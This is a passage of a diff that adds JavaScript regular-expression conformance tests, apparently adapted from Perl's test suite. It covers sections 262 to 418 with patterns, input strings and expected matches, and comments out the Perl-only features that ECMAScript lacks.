+ pattern = /(?-i:a)b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(263);
+ pattern = /((?-i:a))b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(264);
+ pattern = /(?-i:a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(265);
+ pattern = /((?-i:a))b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(266);
+ pattern = /(?-i:a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(267);
+ pattern = /((?-i:a))b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(268);
+ pattern = /((?s-i:a.))b/i;
+ string = 'a\nB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a\nB', 'a\n');
+ addThis();
+*/
+
+status = inSection(269);
+pattern = /(?:c|d)(?:)(?:a(?:)(?:b)(?:b(?:))(?:b(?:)(?:b)))/;
+string = 'cabbbb';
+actualmatch = string.match(pattern);
+expectedmatch = Array('cabbbb');
+addThis();
+
+status = inSection(270);
+pattern = /(?:c|d)(?:)(?:aaaaaaaa(?:)(?:bbbbbbbb)(?:bbbbbbbb(?:))(?:bbbbbbbb(?:)(?:bbbbbbbb)))/;
+string = 'caaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
+actualmatch = string.match(pattern);
+expectedmatch = Array('caaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb');
+addThis();
+
+status = inSection(271);
+pattern = /(ab)\d\1/i;
+string = 'Ab4ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('Ab4ab', 'Ab');
+addThis();
+
+status = inSection(272);
+pattern = /(ab)\d\1/i;
+string = 'ab4Ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab4Ab', 'ab');
+addThis();
+
+status = inSection(273);
+pattern = /foo\w*\d{4}baz/;
+string = 'foobar1234baz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('foobar1234baz');
+addThis();
+
+status = inSection(274);
+pattern = /x(~~)*(?:(?:F)?)?/;
+string = 'x~~';
+actualmatch = string.match(pattern);
+expectedmatch = Array('x~~', '~~');
+addThis();
+
+/* Perl supports (?# but JS doesn't
+ status = inSection(275);
+ pattern = /^a(?#xxx){3}c/;
+ string = 'aaac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaac');
+ addThis();
+*/
+
+/* ECMA doesn't support (?< etc
+ status = inSection(276);
+ pattern = /(?<![cd])[ab]/;
+ string = 'dbaacb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(277);
+ pattern = /(?<!(c|d))[ab]/;
+ string = 'dbaacb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(278);
+ pattern = /(?<!cd)[ab]/;
+ string = 'cdaccb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(279);
+ pattern = /((?s)^a(.))((?m)^b$)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a\nb', 'a\n', '\n', 'b');
+ addThis();
+
+ status = inSection(280);
+ pattern = /((?m)^b$)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+
+ status = inSection(281);
+ pattern = /(?m)^b/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(282);
+ pattern = /(?m)^(b)/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+
+ status = inSection(283);
+ pattern = /((?m)^b)/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+
+ status = inSection(284);
+ pattern = /\n((?m)^b)/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\nb', 'b');
+ addThis();
+
+ status = inSection(285);
+ pattern = /((?s).)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\nc', '\n');
+ addThis();
+
+ status = inSection(286);
+ pattern = /((?s).)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\nc', '\n');
+ addThis();
+
+ status = inSection(287);
+ pattern = /((?s)b.)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b\nc', 'b\n');
+ addThis();
+
+ status = inSection(288);
+ pattern = /((?s)b.)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b\nc', 'b\n');
+ addThis();
+
+ status = inSection(289);
+ pattern = /((?m)^b)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+*/
+
+/* ECMA doesn't support (?(condition)
+ status = inSection(290);
+ pattern = /(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(291);
+ pattern = /(x)?(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(292);
+ pattern = /()?(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(293);
+ pattern = /()?(?(1)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(294);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = '(blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('(blah)', '(', ')');
+ addThis();
+
+ status = inSection(295);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = 'blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('blah');
+ addThis();
+
+ status = inSection(296);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = '(blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('(blah)', '(', ')');
+ addThis();
+
+ status = inSection(297);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = 'blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('blah');
+ addThis();
+
+ status = inSection(298);
+ pattern = /(?(?!a)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(299);
+ pattern = /(?(?=a)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+status = inSection(300);
+pattern = /(?=(a+?))(\1ab)/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aab', 'a', 'aab');
+addThis();
+
+status = inSection(301);
+pattern = /(\w+:)+/;
+string = 'one:';
+actualmatch = string.match(pattern);
+expectedmatch = Array('one:', 'one:');
+addThis();
+
+/* ECMA doesn't support (?< etc
+ status = inSection(302);
+ pattern = /$(?<=^(a))/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('', 'a');
+ addThis();
+*/
+
+status = inSection(303);
+pattern = /(?=(a+?))(\1ab)/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aab', 'a', 'aab');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(304);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('abcd', '', 'abcd');
+expectedmatch = Array('abcd', undefined, 'abcd');
+addThis();
+
+status = inSection(305);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'xy:z:::abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('xy:z:::abcd', 'xy:z:::', 'abcd');
+addThis();
+
+status = inSection(306);
+pattern = /^[^bcd]*(c+)/;
+string = 'aexycd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aexyc', 'c');
+addThis();
+
+status = inSection(307);
+pattern = /(a*)b+/;
+string = 'caab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aab', 'aa');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(308);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('abcd', '', 'abcd');
+expectedmatch = Array('abcd', undefined, 'abcd');
+addThis();
+
+status = inSection(309);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'xy:z:::abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('xy:z:::abcd', 'xy:z:::', 'abcd');
+addThis();
+
+status = inSection(310);
+pattern = /^[^bcd]*(c+)/;
+string = 'aexycd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aexyc', 'c');
+addThis();
+
+/* ECMA doesn't support (?>
+ status = inSection(311);
+ pattern = /(?>a+)b/;
+ string = 'aaab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaab');
+ addThis();
+*/
+
+status = inSection(312);
+pattern = /([[:]+)/;
+ string = 'a:[b]:';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array(':[', ':[');
+ addThis();
+
+ status = inSection(313);
+ pattern = /([[=]+)/;
+ string = 'a=[b]=';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('=[', '=[');
+ addThis();
+
+ status = inSection(314);
+ pattern = /([[.]+)/;
+ string = 'a.[b].';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('.[', '.[');
+ addThis();
+
+/* ECMA doesn't have rules for [:
+ status = inSection(315);
+ pattern = /[a[:]b[:c]/;
+ string = 'abc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abc');
+ addThis();
+*/
+
+/* ECMA doesn't support (?>
+ status = inSection(316);
+ pattern = /((?>a+)b)/;
+ string = 'aaab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaab', 'aaab');
+ addThis();
+
+ status = inSection(317);
+ pattern = /(?>(a+))b/;
+ string = 'aaab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaab', 'aaa');
+ addThis();
+
+ status = inSection(318);
+ pattern = /((?>[^()]+)|\([^()]*\))+/;
+ string = '((abc(ade)ufh()()x';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abc(ade)ufh()()x', 'x');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(319);
+ pattern = /\Z/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(320);
+ pattern = /\z/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(321);
+ pattern = /$/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(322);
+ pattern = /\Z/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(323);
+ pattern = /\z/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(324);
+ pattern = /$/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(325);
+ pattern = /\Z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(326);
+ pattern = /\z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(327);
+ pattern = /$/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(328);
+ pattern = /\Z/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(329);
+ pattern = /\z/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(330);
+ pattern = /$/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(331);
+ pattern = /\Z/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(332);
+ pattern = /\z/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(333);
+ pattern = /$/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(334);
+ pattern = /\Z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+ status = inSection(335);
+ pattern = /\z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+*/
+
+ status = inSection(336);
+ pattern = /$/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(337);
+ pattern = /a\Z/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(338);
+ pattern = /a$/;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(339);
+ pattern = /a\Z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(340);
+ pattern = /a\z/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+ status = inSection(341);
+ pattern = /a$/;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(342);
+ pattern = /a$/m;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(343);
+ pattern = /a\Z/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+ status = inSection(344);
+ pattern = /a$/m;
+ string = 'b\na\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(345);
+ pattern = /a\Z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(346);
+ pattern = /a\z/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+*/
+
+ status = inSection(347);
+ pattern = /a$/m;
+ string = 'b\na';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(348);
+ pattern = /aa\Z/;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(349);
+ pattern = /aa$/;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(350);
+ pattern = /aa\Z/;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+ status = inSection(351);
+ pattern = /aa\z/;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+ status = inSection(352);
+ pattern = /aa$/;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+ status = inSection(353);
+ pattern = /aa$/m;
+ string = 'aa\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(354);
+ pattern = /aa\Z/m;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+ status = inSection(355);
+ pattern = /aa$/m;
+ string = 'b\naa\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(356);
+ pattern = /aa\Z/m;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+ status = inSection(357);
+ pattern = /aa\z/m;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+*/
+
+ status = inSection(358);
+ pattern = /aa$/m;
+ string = 'b\naa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aa');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(359);
+ pattern = /ab\Z/;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(360);
+ pattern = /ab$/;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(361);
+ pattern = /ab\Z/;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(362);
+ pattern = /ab\z/;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+ status = inSection(363);
+ pattern = /ab$/;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(364);
+ pattern = /ab$/m;
+ string = 'ab\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(365);
+ pattern = /ab\Z/m;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+ status = inSection(366);
+ pattern = /ab$/m;
+ string = 'b\nab\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(367);
+ pattern = /ab\Z/m;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(368);
+ pattern = /ab\z/m;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+*/
+
+ status = inSection(369);
+ pattern = /ab$/m;
+ string = 'b\nab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(370);
+ pattern = /abb\Z/;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+/* $ only matches end of input unless multiline
+ status = inSection(371);
+ pattern = /abb$/;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(372);
+ pattern = /abb\Z/;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(373);
+ pattern = /abb\z/;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+ status = inSection(374);
+ pattern = /abb$/;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(375);
+ pattern = /abb$/m;
+ string = 'abb\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(376);
+ pattern = /abb\Z/m;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+ status = inSection(377);
+ pattern = /abb$/m;
+ string = 'b\nabb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+/* Perl has \Z has end-of-line, ECMA doesn't
+ status = inSection(378);
+ pattern = /abb\Z/m;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(379);
+ pattern = /abb\z/m;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+*/
+
+ status = inSection(380);
+ pattern = /abb$/m;
+ string = 'b\nabb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abb');
+ addThis();
+
+ status = inSection(381);
+ pattern = /(^|x)(c)/;
+ string = 'ca';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('c', '', 'c');
+ addThis();
+
+ status = inSection(382);
+ pattern = /foo.bart/;
+ string = 'foo.bart';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('foo.bart');
+ addThis();
+
+ status = inSection(383);
+ pattern = /^d[x][x][x]/m;
+ string = 'abcd\ndxxx';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('dxxx');
+ addThis();
+
+ status = inSection(384);
+ pattern = /tt+$/;
+ string = 'xxxtt';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('tt');
+ addThis();
+
+/* ECMA spec says that each atom in a range must be a single character
+ status = inSection(385);
+ pattern = /([a-\d]+)/;
+ string = 'za-9z';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('9', '9');
+ addThis();
+
+ status = inSection(386);
+ pattern = /([\d-z]+)/;
+ string = 'a0-za';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('0-z', '0-z');
+ addThis();
+*/
+
+/* ECMA doesn't support [:
+ status = inSection(387);
+ pattern = /([a-[:digit:]]+)/;
+ string = 'za-9z';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a-9', 'a-9');
+ addThis();
+
+ status = inSection(388);
+ pattern = /([[:digit:]-z]+)/;
+ string = '=0-z=';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('0-z', '0-z');
+ addThis();
+
+ status = inSection(389);
+ pattern = /([[:digit:]-[:alpha:]]+)/;
+ string = '=0-z=';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('0-z', '0-z');
+ addThis();
+*/
+
+ status = inSection(390);
+ pattern = /(\d+\.\d+)/;
+ string = '3.1415926';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('3.1415926', '3.1415926');
+ addThis();
+
+ status = inSection(391);
+ pattern = /\.c(pp|xx|c)?$/i;
+ string = 'IO.c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('.c', undefined);
+ addThis();
+
+ status = inSection(392);
+ pattern = /(\.c(pp|xx|c)?$)/i;
+ string = 'IO.c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('.c', '.c', undefined);
+ addThis();
+
+ status = inSection(393);
+ pattern = /(^|a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(394);
+ pattern = /^([ab]*?)(b)?(c)$/;
+ string = 'abac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abac', 'aba', undefined, 'c');
+ addThis();
+
+ status = inSection(395);
+ pattern = /^(?:.,){2}c/i;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c');
+ addThis();
+
+ status = inSection(396);
+ pattern = /^(.,){2}c/i;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c', 'b,');
+ addThis();
+
+ status = inSection(397);
+ pattern = /^(?:[^,]*,){2}c/;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c');
+ addThis();
+
+ status = inSection(398);
+ pattern = /^([^,]*,){2}c/;
+ string = 'a,b,c';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a,b,c', 'b,');
+ addThis();
+
+ status = inSection(399);
+ pattern = /^([^,]*,){3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(400);
+ pattern = /^([^,]*,){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(401);
+ pattern = /^([^,]*,){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(402);
+ pattern = /^([^,]{1,3},){3}d/i;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(403);
+ pattern = /^([^,]{1,3},){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(404);
+ pattern = /^([^,]{1,3},){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(405);
+ pattern = /^([^,]{1,},){3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(406);
+ pattern = /^([^,]{1,},){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(407);
+ pattern = /^([^,]{1,},){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(408);
+ pattern = /^([^,]{0,3},){3}d/i;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(409);
+ pattern = /^([^,]{0,3},){3,}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+ status = inSection(410);
+ pattern = /^([^,]{0,3},){0,3}d/;
+ string = 'aaa,b,c,d';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaa,b,c,d', 'c,');
+ addThis();
+
+/* ECMA doesn't support \A
+ status = inSection(411);
+ pattern = /(?!\A)x/m;
+ string = 'a\nxb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\n');
+ addThis();
+*/
+
+ status = inSection(412);
+ pattern = /^(a(b)?)+$/;
+ string = 'aba';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aba', 'a', undefined);
+ addThis();
+
+ status = inSection(413);
+ pattern = /^(aa(bb)?)+$/;
+ string = 'aabbaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aabbaa', 'aa', undefined);
+ addThis();
+
+ status = inSection(414);
+ pattern = /^.{9}abc.*\n/m;
+ string = '123\nabcabcabcabc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('abcabcabcabc\n');
+ addThis();
+
+ status = inSection(415);
+ pattern = /^(a)?a$/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a', undefined);
+ addThis();
+
+ status = inSection(416);
+ pattern = /^(a\1?)(a\1?)(a\2?)(a\3?)$/;
+ string = 'aaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaa', 'a', 'aa', 'a', 'aa');
+ addThis();
+
+/* Can't refer to a capture before it's encountered & completed
+ status = inSection(417);
+ pattern = /^(a\1?){4}$/;
+ string = 'aaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaa', 'aaa');
+ addThis();
+*/
+
+ status = inSection(418);
+ pattern = /^(0+)?(?:x(1))?/;
+ string = 'x1';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('x1', undefined, '1');
+ addThis();
+
+ status = inSection(419);
